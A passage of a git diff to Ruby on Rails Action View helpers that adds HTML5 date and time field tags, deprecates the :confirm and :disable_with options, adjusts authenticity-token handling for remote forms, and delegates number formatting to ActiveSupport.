+      #   by setting <tt>config.action_view.embed_authenticity_token_in_remote_forms = false</tt>.
+      #   This is helpful when you're fragment-caching the form. Remote forms get the
+      #   authenticity from the <tt>meta</tt> tag, so embedding is unnecessary unless you
+      #   support browsers without JavaScript.
       # * A list of parameters to feed to the URL the form will be posted to.
       # * <tt>:remote</tt> - If set to true, will allow the Unobtrusive JavaScript drivers to control the
       #   submit behavior. By default this behavior is an ajax submit.
@@ -37,7 +44,7 @@ module ActionView
       #   # => <form action="/posts" method="post">
       #
       #   form_tag('/posts/1', :method => :put)
-      #   # => <form action="/posts/1" method="put">
+      #   # => <form action="/posts/1" method="post"> ... <input name="_method" type="hidden" value="put" /> ...
       #
       #   form_tag('/upload', :multipart => true)
       #   # => <form action="/upload" method="post" enctype="multipart/form-data">
@@ -47,7 +54,7 @@ module ActionView
       #   <% end -%>
       #   # => <form action="/posts" method="post"><div><input type="submit" name="submit" value="Save" /></div></form>
       #
-      #  <%= form_tag('/posts', :remote => true) %>
+      #   <%= form_tag('/posts', :remote => true) %>
       #   # => <form action="/posts" method="post" data-remote="true">
       #
       #   form_tag('http://far.away.com/form', :authenticity_token => false)
@@ -93,7 +100,7 @@ module ActionView
       #   # => <select id="colors" multiple="multiple" name="colors[]"><option>Red</option>
       #   #    <option>Green</option><option>Blue</option></select>
       #
-      #   select_tag "locations", "<option>Home</option><option selected="selected">Work</option><option>Out</option>".html_safe
+      #   select_tag "locations", "<option>Home</option><option selected='selected'>Work</option><option>Out</option>".html_safe
       #   # => <select id="locations" name="locations"><option>Home</option><option selected='selected'>Work</option>
       #   #    <option>Out</option></select>
       #
@@ -111,14 +118,15 @@ module ActionView
       #   # => <select disabled="disabled" id="destination" name="destination"><option>NYC</option>
       #   #    <option>Paris</option><option>Rome</option></select>
       def select_tag(name, option_tags = nil, options = {})
+        option_tags ||= ""
         html_name = (options[:multiple] == true && !name.to_s.ends_with?("[]")) ? "#{name}[]" : name
 
         if options.delete(:include_blank)
-          option_tags = "<option value=\"\"></option>".html_safe + option_tags
+          option_tags = content_tag(:option, '', :value => '').safe_concat(option_tags)
         end
 
         if prompt = options.delete(:prompt)
-          option_tags = "<option value=\"\">#{prompt}</option>".html_safe + option_tags
+          option_tags = content_tag(:option, prompt, :value => '').safe_concat(option_tags)
         end
 
         content_tag :select, option_tags, { "name" => html_name, "id" => sanitize_to_id(name) }.update(options.stringify_keys)
@@ -313,7 +321,7 @@ module ActionView
           options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split)
         end
 
-        escape = options.key?("escape") ? options.delete("escape") : true
+        escape = options.delete("escape") { true }
         content = ERB::Util.html_escape(content) if escape
 
         content_tag :textarea, content.to_s.html_safe, { "name" => name, "id" => sanitize_to_id(name) }.update(options)
@@ -374,14 +382,18 @@ module ActionView
       # Creates a submit button with the text <tt>value</tt> as the caption.
       #
       # ==== Options
+      # * <tt>:data</tt> - This option can be used to add custom data attributes.
+      # * <tt>:disabled</tt> - If true, the user will not be able to use this input.
+      # * Any other key creates standard HTML options for the tag.
+      #
+      # ==== Data attributes
+      #
       # * <tt>:confirm => 'question?'</tt> - If present the unobtrusive JavaScript
       #   drivers will provide a prompt with the question specified. If the user accepts,
       #   the form is processed normally, otherwise no action is taken.
-      # * <tt>:disabled</tt> - If true, the user will not be able to use this input.
       # * <tt>:disable_with</tt> - Value of this parameter will be used as the value for a
       #   disabled version of the submit button when the form is submitted. This feature is
       #   provided by the unobtrusive JavaScript driver.
-      # * Any other key creates standard HTML options for the tag.
       #
       # ==== Examples
       #   submit_tag
@@ -393,30 +405,30 @@ module ActionView
       #   submit_tag "Save edits", :disabled => true
       #   # => <input disabled="disabled" name="commit" type="submit" value="Save edits" />
       #
-      #
-      #   submit_tag "Complete sale", :disable_with => "Please wait..."
-      #   # => <input name="commit" data-disable-with="Please wait..."
-      #   #    type="submit" value="Complete sale" />
+      #   submit_tag "Complete sale", :data => { :disable_with => "Please wait..." }
+      #   # => <input name="commit" data-disable-with="Please wait..." type="submit" value="Complete sale" />
       #
       #   submit_tag nil, :class => "form_submit"
       #   # => <input class="form_submit" name="commit" type="submit" />
       #
-      #   submit_tag "Edit", :disable_with => "Editing...", :class => "edit_button"
-      #   # => <input class="edit_button" data-disable_with="Editing..."
-      #   #    name="commit" type="submit" value="Edit" />
+      #   submit_tag "Edit", :class => "edit_button"
+      #   # => <input class="edit_button" name="commit" type="submit" value="Edit" />
       #
-      #   submit_tag "Save", :confirm => "Are you sure?"
-      #   # => <input name='commit' type='submit' value='Save'
-      #         data-confirm="Are you sure?" />
+      #   submit_tag "Save", :data => { :confirm => "Are you sure?" }
+      #   # => <input name='commit' type='submit' value='Save' data-confirm="Are you sure?" />
       #
       def submit_tag(value = "Save changes", options = {})
         options = options.stringify_keys
 
         if disable_with = options.delete("disable_with")
+          ActiveSupport::Deprecation.warn ":disable_with option is deprecated and will be removed from Rails 4.1. Use ':data => { :disable_with => \'Text\' }' instead"
+
           options["data-disable-with"] = disable_with
         end
 
         if confirm = options.delete("confirm")
+          ActiveSupport::Deprecation.warn ":confirm option is deprecated and will be removed from Rails 4.1. Use ':data => { :confirm => \'Text\' }' instead'"
+
           options["data-confirm"] = confirm
         end
 
@@ -431,17 +443,21 @@ module ActionView
       # so this helper will also accept a block.
       #
       # ==== Options
+      # * <tt>:data</tt> - This option can be used to add custom data attributes.
+      # * <tt>:disabled</tt> - If true, the user will not be able to
+      #   use this input.
+      # * Any other key creates standard HTML options for the tag.
+      #
+      # ==== Data attributes
+      #
       # * <tt>:confirm => 'question?'</tt> - If present, the
       #   unobtrusive JavaScript drivers will provide a prompt with
       #   the question specified. If the user accepts, the form is
       #   processed normally, otherwise no action is taken.
-      # * <tt>:disabled</tt> - If true, the user will not be able to
-      #   use this input.
       # * <tt>:disable_with</tt> - Value of this parameter will be
       #   used as the value for a disabled version of the submit
       #   button when the form is submitted. This feature is provided
       #   by the unobtrusive JavaScript driver.
-      # * Any other key creates standard HTML options for the tag.
       #
       # ==== Examples
       #   button_tag
@@ -451,12 +467,11 @@ module ActionView
       #     content_tag(:strong, 'Ask me!')
       #   end
       #   # => <button name="button" type="button">
-      #          <strong>Ask me!</strong>
-      #        </button>
+      #   #     <strong>Ask me!</strong>
+      #   #    </button>
       #
-      #   button_tag "Checkout", :disable_with => "Please wait..."
-      #   # => <button data-disable-with="Please wait..." name="button"
-      #                type="submit">Checkout</button>
+      #   button_tag "Checkout", :data => { disable_with => "Please wait..." }
+      #   # => <button data-disable-with="Please wait..." name="button" type="submit">Checkout</button>
       #
       def button_tag(content_or_options = nil, options = nil, &block)
         options = content_or_options if block_given? && content_or_options.is_a?(Hash)
@@ -464,10 +479,14 @@ module ActionView
         options = options.stringify_keys
 
         if disable_with = options.delete("disable_with")
+          ActiveSupport::Deprecation.warn ":disable_with option is deprecated and will be removed from Rails 4.1. Use ':data => { :disable_with => \'Text\' }' instead"
+
           options["data-disable-with"] = disable_with
         end
 
         if confirm = options.delete("confirm")
+          ActiveSupport::Deprecation.warn ":confirm option is deprecated and will be removed from Rails 4.1. Use ':data => { :confirm => \'Text\' }' instead'"
+
           options["data-confirm"] = confirm
         end
 
@@ -481,11 +500,15 @@ module ActionView
       # <tt>source</tt> is passed to AssetTagHelper#path_to_image
       #
       # ==== Options
+      # * <tt>:data</tt> - This option can be used to add custom data attributes.
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * Any other key creates standard HTML options for the tag.
+      #
+      # ==== Data attributes
+      #
       # * <tt>:confirm => 'question?'</tt> - This will add a JavaScript confirm
       #   prompt with the question specified. If the user accepts, the form is
       #   processed normally, otherwise no action is taken.
-      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
-      # * Any other key creates standard HTML options for the tag.
       #
       # ==== Examples
       #   image_submit_tag("login.png")
@@ -499,10 +522,15 @@ module ActionView
       #
       #   image_submit_tag("agree.png", :disabled => true, :class => "agree_disagree_button")
       #   # => <input class="agree_disagree_button" disabled="disabled" src="/images/agree.png" type="image" />
+      #
+      #   image_submit_tag("save.png", :data => { :confirm => "Are you sure?" })
+      #   # => <input src="/images/save.png" data-confirm="Are you sure?" type="image" />
       def image_submit_tag(source, options = {})
         options = options.stringify_keys
 
         if confirm = options.delete("confirm")
+          ActiveSupport::Deprecation.warn ":confirm option is deprecated and will be removed from Rails 4.1. Use ':data => { :confirm => \'Text\' }' instead'"
+
           options["data-confirm"] = confirm
         end
 
@@ -530,13 +558,20 @@ module ActionView
       #   <% end %>
       #   # => <fieldset class="format"><p><input id="name" name="name" type="text" /></p></fieldset>
       def field_set_tag(legend = nil, options = nil, &block)
-        content = capture(&block)
         output = tag(:fieldset, options, true)
         output.safe_concat(content_tag(:legend, legend)) unless legend.blank?
-        output.concat(content)
+        output.concat(capture(&block)) if block_given?
         output.safe_concat("</fieldset>")
       end
 
+      # Creates a text field of type "color".
+      #
+      # ==== Options
+      # * Accepts the same options as text_field_tag.
+      def color_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.stringify_keys.update("type" => "color"))
+      end
+
       # Creates a text field of type "search".
       #
       # ==== Options
@@ -554,6 +589,69 @@ module ActionView
       end
       alias phone_field_tag telephone_field_tag
 
+      # Creates a text field of type "date".
+      #
+      # ==== Options
+      # * Accepts the same options as text_field_tag.
+      def date_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.stringify_keys.update("type" => "date"))
+      end
+
+      # Creates a text field of type "time".
+      #
+      # === Options
+      # * <tt>:min</tt> - The minimum acceptable value.
+      # * <tt>:max</tt> - The maximum acceptable value.
+      # * <tt>:step</tt> - The acceptable value granularity.
+      # * Otherwise accepts the same options as text_field_tag.
+      def time_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.stringify_keys.update("type" => "time"))
+      end
+
+      # Creates a text field of type "datetime".
+      #
+      # === Options
+      # * <tt>:min</tt> - The minimum acceptable value.
+      # * <tt>:max</tt> - The maximum acceptable value.
+      # * <tt>:step</tt> - The acceptable value granularity.
+      # * Otherwise accepts the same options as text_field_tag.
+      def datetime_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.stringify_keys.update("type" => "datetime"))
+      end
+
+      # Creates a text field of type "datetime-local".
+      #
+      # === Options
+      # * <tt>:min</tt> - The minimum acceptable value.
+      # * <tt>:max</tt> - The maximum acceptable value.
+      # * <tt>:step</tt> - The acceptable value granularity.
+      # * Otherwise accepts the same options as text_field_tag.
+      def datetime_local_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.stringify_keys.update("type" => "datetime-local"))
+      end
+
+      # Creates a text field of type "month".
+      #
+      # === Options
+      # * <tt>:min</tt> - The minimum acceptable value.
+      # * <tt>:max</tt> - The maximum acceptable value.
+      # * <tt>:step</tt> - The acceptable value granularity.
+      # * Otherwise accepts the same options as text_field_tag.
+      def month_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.stringify_keys.update("type" => "month"))
+      end
+
+      # Creates a text field of type "week".
+      #
+      # === Options
+      # * <tt>:min</tt> - The minimum acceptable value.
+      # * <tt>:max</tt> - The maximum acceptable value.
+      # * <tt>:step</tt> - The acceptable value granularity.
+      # * Otherwise accepts the same options as text_field_tag.
+      def week_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.stringify_keys.update("type" => "week"))
+      end
+
       # Creates a text field of type "url".
       #
       # ==== Options
@@ -582,7 +680,7 @@ module ActionView
       #
       # ==== Examples
       #   number_field_tag 'quantity', nil, :in => 1...10
-      #   => <input id="quantity" name="quantity" min="1" max="9" type="number" />
+      #   # => <input id="quantity" name="quantity" min="1" max="9" type="number" />
       def number_field_tag(name, value = nil, options = {})
         options = options.stringify_keys
         options["type"] ||= "number"
@@ -614,8 +712,19 @@ module ActionView
             # responsibility of the caller to escape all the values.
             html_options["action"]  = url_for(url_for_options)
             html_options["accept-charset"] = "UTF-8"
+
             html_options["data-remote"] = true if html_options.delete("remote")
-            html_options["authenticity_token"] = html_options.delete("authenticity_token") if html_options.has_key?("authenticity_token")
+
+            if html_options["data-remote"] &&
+               !embed_authenticity_token_in_remote_forms &&
+               html_options["authenticity_token"].blank?
+              # The authenticity token is taken from the meta tag in this case
+              html_options["authenticity_token"] = false
+            elsif html_options["authenticity_token"] == true
+              # Include the default authenticity_token, which is only generated when its set to nil,
+              # but we needed the true value to override the default of no authenticity_token on data-remote.
+              html_options["authenticity_token"] = nil
+            end
           end
         end
 
@@ -632,7 +741,7 @@ module ActionView
               token_tag(authenticity_token)
             else
               html_options["method"] = "post"
-              tag(:input, :type => "hidden", :name => "_method", :value => method) + token_tag(authenticity_token)
+              method_tag(method) + token_tag(authenticity_token)
           end
 
           tags = utf8_enforcer_tag << method_tag
@@ -641,26 +750,16 @@ module ActionView
 
         def form_tag_html(html_options)
           extra_tags = extra_tags_for_form(html_options)
-          (tag(:form, html_options, true) + extra_tags).html_safe
+          tag(:form, html_options, true) + extra_tags
         end
 
         def form_tag_in_block(html_options, &block)
           content = capture(&block)
-          output = ActiveSupport::SafeBuffer.new
-          output.safe_concat(form_tag_html(html_options))
+          output = form_tag_html(html_options)
           output << content
           output.safe_concat("</form>")
         end
 
-        def token_tag(token)
-          if token == false || !protect_against_forgery?
-            ''
-          else
-            token ||= form_authenticity_token
-            tag(:input, :type => "hidden", :name => request_forgery_protection_token.to_s, :value => token)
-          end
-        end
-
         # see http://www.w3.org/TR/html4/types.html#type-name
         def sanitize_to_id(name)
           name.to_s.gsub(']','').gsub(/[^-a-zA-Z0-9:.]/, "_")
diff --git a/actionpack/lib/action_view/helpers/javascript_helper.rb b/actionpack/lib/action_view/helpers/javascript_helper.rb
index 842f4c23a3..9f8cd8caaa 100644
--- a/actionpack/lib/action_view/helpers/javascript_helper.rb
+++ b/actionpack/lib/action_view/helpers/javascript_helper.rb
@@ -1,5 +1,4 @@
 require 'action_view/helpers/tag_helper'
-require 'active_support/core_ext/string/encoding'
 
 module ActionView
   module Helpers
@@ -14,11 +13,8 @@ module ActionView
         "'"     => "\\'"
       }
 
-      if "ruby".encoding_aware?
-        JS_ESCAPE_MAP["\342\200\250".force_encoding('UTF-8').encode!] = '&#x2028;'
-      else
-        JS_ESCAPE_MAP["\342\200\250"] = '&#x2028;'
-      end
+      JS_ESCAPE_MAP["\342\200\250".force_encoding('UTF-8').encode!] = '&#x2028;'
+      JS_ESCAPE_MAP["\342\200\251".force_encoding('UTF-8').encode!] = '&#x2029;'
 
       # Escapes carriage returns and single and double quotes for JavaScript segments.
       #
@@ -27,7 +23,7 @@ module ActionView
       #   $('some_element').replaceWith('<%=j render 'some/element_template' %>');
       def escape_javascript(javascript)
         if javascript
-          result = javascript.gsub(/(\\|<\/|\r\n|\342\200\250|[\n\r"'])/u) {|match| JS_ESCAPE_MAP[match] }
+          result = javascript.gsub(/(\\|<\/|\r\n|\342\200\250|\342\200\251|[\n\r"'])/u) {|match| JS_ESCAPE_MAP[match] }
           javascript.html_safe? ? result.html_safe : result
         else
           ''
@@ -40,7 +36,7 @@ module ActionView
       #   javascript_tag "alert('All is good')"
       #
       # Returns:
-      #   <script type="text/javascript">
+      #   <script>
       #   //<![CDATA[
       #   alert('All is good')
       #   //]]>
@@ -49,7 +45,7 @@ module ActionView
       # +html_options+ may be a hash of attributes for the <tt>\<script></tt>
       # tag. Example:
       #   javascript_tag "alert('All is good')", :defer => 'defer'
-      #   # => <script defer="defer" type="text/javascript">alert('All is good')</script>
+      #   # => <script defer="defer">alert('All is good')</script>
       #
       # Instead of passing the content as an argument, you can also use a block
       # in which case, you pass your +html_options+ as the first parameter.
@@ -65,7 +61,7 @@ module ActionView
             content_or_options_with_block
           end
 
-        content_tag(:script, javascript_cdata_section(content), html_options.merge(:type => Mime::JS))
+        content_tag(:script, javascript_cdata_section(content), html_options)
       end
 
       def javascript_cdata_section(content) #:nodoc:
@@ -82,6 +78,9 @@ module ActionView
       #   # => <input class="ok" onclick="alert('Hello world!');" type="button" value="Greeting" />
       #
       def button_to_function(name, function=nil, html_options={})
+        message = "button_to_function is deprecated and will be removed from Rails 4.1. Use Unobtrusive JavaScript instead."
+        ActiveSupport::Deprecation.warn message
+
         onclick = "#{"#{html_options[:onclick]}; " if html_options[:onclick]}#{function};"
 
         tag(:input, html_options.merge(:type => 'button', :value => name, :onclick => onclick))
@@ -100,6 +99,9 @@ module ActionView
       #   # => <a class="nav_link" href="#" onclick="alert('Hello world!'); return false;">Greeting</a>
       #
       def link_to_function(name, function, html_options={})
+        message = "link_to_function is deprecated and will be removed from Rails 4.1. Use Unobtrusive JavaScript instead."
+        ActiveSupport::Deprecation.warn message
+
         onclick = "#{"#{html_options[:onclick]}; " if html_options[:onclick]}#{function}; return false;"
         href = html_options[:href] || '#'
 
diff --git a/actionpack/lib/action_view/helpers/number_helper.rb b/actionpack/lib/action_view/helpers/number_helper.rb
index 7031694af4..9720e90429 100644
--- a/actionpack/lib/action_view/helpers/number_helper.rb
+++ b/actionpack/lib/action_view/helpers/number_helper.rb
@@ -1,9 +1,8 @@
 # encoding: utf-8
 
-require 'active_support/core_ext/big_decimal/conversions'
-require 'active_support/core_ext/float/rounding'
-require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/hash/keys'
 require 'active_support/core_ext/string/output_safety'
+require 'active_support/number_helper'
 
 module ActionView
   # = Action View Number Helpers
@@ -17,9 +16,6 @@ module ActionView
     # unchanged if can't be converted into a valid number.
     module NumberHelper
 
-      DEFAULT_CURRENCY_VALUES = { :format => "%u%n", :negative_format => "-%u%n", :unit => "$", :separator => ".", :delimiter => ",",
-                                  :precision => 2, :significant => false, :strip_insignificant_zeros => false }
-
       # Raised when argument +number+ param given to the helpers is invalid and
       # the option :raise is set to  +true+.
       class InvalidNumberError < StandardError
@@ -29,209 +25,203 @@ module ActionView
         end
       end
 
-      # Formats a +number+ into a US phone number (e.g., (555) 123-9876). You can customize the format
-      # in the +options+ hash.
+      # Formats a +number+ into a US phone number (e.g., (555)
+      # 123-9876). You can customize the format in the +options+ hash.
       #
       # ==== Options
-      # * <tt>:area_code</tt>  - Adds parentheses around the area code.
-      # * <tt>:delimiter</tt>  - Specifies the delimiter to use (defaults to "-").
-      # * <tt>:extension</tt>  - Specifies an extension to add to the end of the
-      #   generated number.
-      # * <tt>:country_code</tt>  - Sets the country code for the phone number.
+      #
+      # * <tt>:area_code</tt> - Adds parentheses around the area code.
+      # * <tt>:delimiter</tt> - Specifies the delimiter to use
+      #   (defaults to "-").
+      # * <tt>:extension</tt> - Specifies an extension to add to the
+      #   end of the generated number.
+      # * <tt>:country_code</tt> - Sets the country code for the phone
+      #   number.
+      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+      #   the argument is invalid.
       #
       # ==== Examples
+      #
       #  number_to_phone(5551234)                                           # => 555-1234
+      #  number_to_phone("5551234")                                         # => 555-1234
       #  number_to_phone(1235551234)                                        # => 123-555-1234
       #  number_to_phone(1235551234, :area_code => true)                    # => (123) 555-1234
       #  number_to_phone(1235551234, :delimiter => " ")                     # => 123 555 1234
       #  number_to_phone(1235551234, :area_code => true, :extension => 555) # => (123) 555-1234 x 555
       #  number_to_phone(1235551234, :country_code => 1)                    # => +1-123-555-1234
+      #  number_to_phone("123a456")                                         # => 123a456
+      #
+      #  number_to_phone("1234a567", :raise => true)                        # => InvalidNumberError
       #
       #  number_to_phone(1235551234, :country_code => 1, :extension => 1343, :delimiter => ".")
-      #  => +1.123.555.1234 x 1343
+      #  # => +1.123.555.1234 x 1343
       def number_to_phone(number, options = {})
         return unless number
+        options = options.symbolize_keys
 
-        begin
-          Float(number)
-        rescue ArgumentError, TypeError
-          raise InvalidNumberError, number
-        end if options[:raise]
-
-        number       = number.to_s.strip
-        options      = options.symbolize_keys
-        area_code    = options[:area_code]
-        delimiter    = options[:delimiter] || "-"
-        extension    = options[:extension]
-        country_code = options[:country_code]
-
-        if area_code
-          number.gsub!(/(\d{1,3})(\d{3})(\d{4}$)/,"(\\1) \\2#{delimiter}\\3")
-        else
-          number.gsub!(/(\d{0,3})(\d{3})(\d{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
-          number.slice!(0, 1) if number.starts_with?(delimiter) && !delimiter.blank?
-        end
-
-        str = []
-        str << "+#{country_code}#{delimiter}" unless country_code.blank?
-        str << number
-        str << " x #{extension}" unless extension.blank?
-        ERB::Util.html_escape(str.join)
+        parse_float(number, true) if options.delete(:raise)
+        ERB::Util.html_escape(ActiveSupport::NumberHelper.number_to_phone(number, options))
       end
 
-      # Formats a +number+ into a currency string (e.g., $13.65). You can customize the format
-      # in the +options+ hash.
+      # Formats a +number+ into a currency string (e.g., $13.65). You
+      # can customize the format in the +options+ hash.
       #
       # ==== Options
-      # * <tt>:locale</tt>           - Sets the locale to be used for formatting (defaults to current locale).
-      # * <tt>:precision</tt>        - Sets the level of precision (defaults to 2).
-      # * <tt>:unit</tt>             - Sets the denomination of the currency (defaults to "$").
-      # * <tt>:separator</tt>        - Sets the separator between the units (defaults to ".").
-      # * <tt>:delimiter</tt>        - Sets the thousands delimiter (defaults to ",").
-      # * <tt>:format</tt>           - Sets the format for non-negative numbers (defaults to "%u%n").
-      #                                Fields are <tt>%u</tt> for the currency, and <tt>%n</tt>
-      #                                for the number.
-      # * <tt>:negative_format</tt>  - Sets the format for negative numbers (defaults to prepending
-      #                                an hyphen to the formatted number given by <tt>:format</tt>).
-      #                                Accepts the same fields than <tt>:format</tt>, except
-      #                                <tt>%n</tt> is here the absolute value of the number.
+      #
+      # * <tt>:locale</tt> - Sets the locale to be used for formatting
+      #   (defaults to current locale).
+      # * <tt>:precision</tt> - Sets the level of precision (defaults
+      #   to 2).
+      # * <tt>:unit</tt> - Sets the denomination of the currency
+      #   (defaults to "$").
+      # * <tt>:separator</tt> - Sets the separator between the units
+      #   (defaults to ".").
+      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+      #   to ",").
+      # * <tt>:format</tt> - Sets the format for non-negative numbers
+      #   (defaults to "%u%n").  Fields are <tt>%u</tt> for the
+      #   currency, and <tt>%n</tt> for the number.
+      # * <tt>:negative_format</tt> - Sets the format for negative
+      #   numbers (defaults to prepending an hyphen to the formatted
+      #   number given by <tt>:format</tt>).  Accepts the same fields
+      #   than <tt>:format</tt>, except <tt>%n</tt> is here the
+      #   absolute value of the number.
+      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+      #   the argument is invalid.
       #
       # ==== Examples
+      #
       #  number_to_currency(1234567890.50)                    # => $1,234,567,890.50
       #  number_to_currency(1234567890.506)                   # => $1,234,567,890.51
       #  number_to_currency(1234567890.506, :precision => 3)  # => $1,234,567,890.506
-      #  number_to_currency(1234567890.506, :locale => :fr)   # => 1 234 567 890,506 €
+      #  number_to_currency(1234567890.506, :locale => :fr)   # => 1 234 567 890,51 €
+      #  number_to_currency("123a456")                        # => $123a456
+      #
+      #  number_to_currency("123a456", :raise => true)        # => InvalidNumberError
       #
       #  number_to_currency(-1234567890.50, :negative_format => "(%u%n)")
-      #  # => ($1,234,567,890.51)
+      #  # => ($1,234,567,890.50)
       #  number_to_currency(1234567890.50, :unit => "&pound;", :separator => ",", :delimiter => "")
       #  # => &pound;1234567890,50
       #  number_to_currency(1234567890.50, :unit => "&pound;", :separator => ",", :delimiter => "", :format => "%n %u")
       #  # => 1234567890,50 &pound;
       def number_to_currency(number, options = {})
         return unless number
+        options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
 
-        options.symbolize_keys!
-
-        defaults  = I18n.translate(:'number.format', :locale => options[:locale], :default => {})
-        currency  = I18n.translate(:'number.currency.format', :locale => options[:locale], :default => {})
-
-        defaults  = DEFAULT_CURRENCY_VALUES.merge(defaults).merge!(currency)
-        defaults[:negative_format] = "-" + options[:format] if options[:format]
-        options   = defaults.merge!(options)
-
-        unit      = options.delete(:unit)
-        format    = options.delete(:format)
-
-        if number.to_f < 0
-          format = options.delete(:negative_format)
-          number = number.respond_to?("abs") ? number.abs : number.sub(/^-/, '')
-        end
-
-        begin
-          value = number_with_precision(number, options.merge(:raise => true))
-          format.gsub(/%n/, value).gsub(/%u/, unit).html_safe
-        rescue InvalidNumberError => e
-          if options[:raise]
-            raise
-          else
-            formatted_number = format.gsub(/%n/, e.number).gsub(/%u/, unit)
-            e.number.to_s.html_safe? ? formatted_number.html_safe : formatted_number
-          end
-        end
-
+        wrap_with_output_safety_handling(number, options.delete(:raise)) {
+          ActiveSupport::NumberHelper.number_to_currency(number, options)
+        }
       end
 
-      # Formats a +number+ as a percentage string (e.g., 65%). You can customize the
-      # format in the +options+ hash.
+      # Formats a +number+ as a percentage string (e.g., 65%). You can
+      # customize the format in the +options+ hash.
       #
       # ==== Options
-      # * <tt>:locale</tt>     - Sets the locale to be used for formatting (defaults to current locale).
-      # * <tt>:precision</tt>  - Sets the precision of the number (defaults to 3).
-      # * <tt>:significant</tt>  - If +true+, precision will be the # of significant_digits. If +false+, the # of fractional digits (defaults to +false+)
-      # * <tt>:separator</tt>  - Sets the separator between the fractional and integer digits (defaults to ".").
-      # * <tt>:delimiter</tt>  - Sets the thousands delimiter (defaults to "").
-      # * <tt>:strip_insignificant_zeros</tt>  - If +true+ removes insignificant zeros after the decimal separator (defaults to +false+)
+      #
+      # * <tt>:locale</tt> - Sets the locale to be used for formatting
+      #   (defaults to current locale).
+      # * <tt>:precision</tt> - Sets the precision of the number
+      #   (defaults to 3).
+      # * <tt>:significant</tt> - If +true+, precision will be the #
+      #   of significant_digits. If +false+, the # of fractional
+      #   digits (defaults to +false+).
+      # * <tt>:separator</tt> - Sets the separator between the
+      #   fractional and integer digits (defaults to ".").
+      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+      #   to "").
+      # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+      #   insignificant zeros after the decimal separator (defaults to
+      #   +false+).
+      # * <tt>:format</tt> - Specifies the format of the percentage
+      #   string The number field is <tt>%n</tt> (defaults to "%n%").
+      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+      #   the argument is invalid.
       #
       # ==== Examples
+      #
       #  number_to_percentage(100)                                        # => 100.000%
+      #  number_to_percentage("98")                                       # => 98.000%
       #  number_to_percentage(100, :precision => 0)                       # => 100%
       #  number_to_percentage(1000, :delimiter => '.', :separator => ',') # => 1.000,000%
       #  number_to_percentage(302.24398923423, :precision => 5)           # => 302.24399%
       #  number_to_percentage(1000, :locale => :fr)                       # => 1 000,000%
+      #  number_to_percentage("98a")                                      # => 98a%
+      #  number_to_percentage(100, :format => "%n  %")                    # => 100  %
+      #
+      #  number_to_percentage("98a", :raise => true)                      # => InvalidNumberError
       def number_to_percentage(number, options = {})
         return unless number
+        options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
 
-        options.symbolize_keys!
-
-        defaults   = I18n.translate(:'number.format', :locale => options[:locale], :default => {})
-        percentage = I18n.translate(:'number.percentage.format', :locale => options[:locale], :default => {})
-        defaults  = defaults.merge(percentage)
-
-        options = options.reverse_merge(defaults)
-
-        begin
-          "#{number_with_precision(number, options.merge(:raise => true))}%".html_safe
-        rescue InvalidNumberError => e
-          if options[:raise]
-            raise
-          else
-            e.number.to_s.html_safe? ? "#{e.number}%".html_safe : "#{e.number}%"
-          end
-        end
+        wrap_with_output_safety_handling(number, options.delete(:raise)) {
+          ActiveSupport::NumberHelper.number_to_percentage(number, options)
+        }
       end
 
-      # Formats a +number+ with grouped thousands using +delimiter+ (e.g., 12,324). You can
-      # customize the format in the +options+ hash.
+      # Formats a +number+ with grouped thousands using +delimiter+
+      # (e.g., 12,324). You can customize the format in the +options+
+      # hash.
       #
       # ==== Options
-      # * <tt>:locale</tt>     - Sets the locale to be used for formatting (defaults to current locale).
-      # * <tt>:delimiter</tt>  - Sets the thousands delimiter (defaults to ",").
-      # * <tt>:separator</tt>  - Sets the separator between the fractional and integer digits (defaults to ".").
+      #
+      # * <tt>:locale</tt> - Sets the locale to be used for formatting
+      #   (defaults to current locale).
+      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+      #   to ",").
+      # * <tt>:separator</tt> - Sets the separator between the
+      #   fractional and integer digits (defaults to ".").
+      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+      #   the argument is invalid.
       #
       # ==== Examples
+      #
       #  number_with_delimiter(12345678)                        # => 12,345,678
+      #  number_with_delimiter("123456")                        # => 123,456
       #  number_with_delimiter(12345678.05)                     # => 12,345,678.05
       #  number_with_delimiter(12345678, :delimiter => ".")     # => 12.345.678
-      #  number_with_delimiter(12345678, :separator => ",")     # => 12,345,678
+      #  number_with_delimiter(12345678, :delimiter => ",")     # => 12,345,678
+      #  number_with_delimiter(12345678.05, :separator => " ")  # => 12,345,678 05
       #  number_with_delimiter(12345678.05, :locale => :fr)     # => 12 345 678,05
+      #  number_with_delimiter("112a")                          # => 112a
       #  number_with_delimiter(98765432.98, :delimiter => " ", :separator => ",")
       #  # => 98 765 432,98
+      #
+      #  number_with_delimiter("112a", :raise => true)          # => raise InvalidNumberError
       def number_with_delimiter(number, options = {})
-        options.symbolize_keys!
-
-        begin
-          Float(number)
-        rescue ArgumentError, TypeError
-          if options[:raise]
-            raise InvalidNumberError, number
-          else
-            return number
-          end
-        end
-
-        defaults = I18n.translate(:'number.format', :locale => options[:locale], :default => {})
-        options = options.reverse_merge(defaults)
-
-        parts = number.to_s.to_str.split('.')
-        parts[0].gsub!(/(\d)(?=(\d\d\d)+(?!\d))/, "\\1#{options[:delimiter]}")
-        parts.join(options[:separator]).html_safe
+        options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
 
+        wrap_with_output_safety_handling(number, options.delete(:raise)) {
+          ActiveSupport::NumberHelper.number_to_delimited(number, options)
+        }
       end
 
